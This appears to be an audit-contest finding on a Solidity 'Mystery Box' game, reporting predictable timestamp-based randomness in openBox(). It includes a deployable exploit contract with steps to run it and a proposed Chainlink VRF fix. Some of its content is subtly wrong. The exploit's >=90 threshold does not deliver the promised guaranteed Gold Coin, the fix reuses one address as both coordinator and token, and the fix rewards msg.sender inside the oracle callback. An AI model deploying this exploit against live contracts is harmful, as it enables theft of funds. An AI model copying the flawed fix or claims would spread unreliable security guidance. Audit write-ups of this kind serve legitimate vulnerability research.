Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Predictable Randomness Vulnerability Leading to 100% Win Rate Exploit

Summary

The openBox() function utilizes weak and predictable randomness, allowing an attacker to manipulate the outcome of the rewards, resulting in a 100% chance to win the highest prize. This randomness issue stems from the use of block.timestamp and msg.sender in the keccak256 hashing function, which are easily predictable and manipulable.

  • Affected Function:

// MysteryBox.sol: line 43 to 65
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}

Vulnerability Details

The issue lies in how the random value is generated:

uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
  • Predictable Input: block.timestamp is a public value that can be predicted or influenced by miners. Additionally, msg.sender is known to the attacker. Both values are easily controlled or anticipated.

  • Modulo Bias: The use of modulo (% 100) further limits the randomness, making the outcome even more predictable.

By leveraging these predictable inputs, an attacker can execute transactions at precise timestamps, ensuring they always win the highest reward.

Exploit Details:

An attacker can continuously monitor the block.timestamp value and execute transactions at optimal times to generate a desired randomValue of 99. This guarantees the attacker receives the "Gold Coin" reward (worth 1 ether) 100% of the time.

Proof of Concept:

  1. The attacker writes a script that sends a transaction at a known block.timestamp value.

  2. By controlling the timing, the randomValue becomes predictable.

  3. The attacker repeatedly wins with Zero Losses.

    • Exploit Code:

Deploy this Exploit code with remix IDE Using `MysteryBox` contract address, Then run the buy function and Run The Play Function Continually To Win.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMysteryBox {
function buyBox() external payable;
function openBox() external;
function boxesOwned(address _owner) external view returns (uint256);
function claimAllRewards() external ;
}
contract MysteryBoxExploit {
IMysteryBox public mysteryBox;
address public owner;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
owner = msg.sender;
}
function calculateRandom() public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
}
function buy() public payable {
require(msg.sender == owner, "Not owner");
mysteryBox.buyBox{value: 0.1 ether}();
}
function play() public {
require(msg.sender == owner, "Not owner");
require(mysteryBox.boxesOwned(address(this)) > 0, "No boxes owned");
uint256 predictedRandomValue = calculateRandom();
if (predictedRandomValue >= 90) {
mysteryBox.openBox();
mysteryBox.claimAllRewards();
}
}
receive() external payable {}
}

Impact

The vulnerability allows an attacker to:

  • Exploit the openBox() function to always win valuable reward With Zero Losses.

  • Drain the contract of valuable tokens or funds by continuously receiving the highest reward.

  • Undermine the fairness of the game or system by manipulating the outcome.

Tools Used

Recommendations

To fix this issue, the randomness source must be improved by incorporating more unpredictable values, such as Chainlink VRF (Verifiable Random Function) or other secure oracle-based solutions. Here's an updated version using Chainlink VRF for secure randomness:

import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract SecureBox is VRFConsumerBase {
bytes32 internal keyHash;
uint256 internal fee;
constructor()
VRFConsumerBase(
0x514910771AF9Ca656af840dff83E8264EcF986CA, // VRF Coordinator
0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token
)
{
keyHash = 0x6c3699283bda56ad74f6b855546325b68d482e983852a7b6d5d007f8fe3388f5;
fee = 0.1 * 10**18; // 0.1 LINK
}
function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
requestRandomness(keyHash, fee);
}
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
uint256 randomValue = randomness % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
}
Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.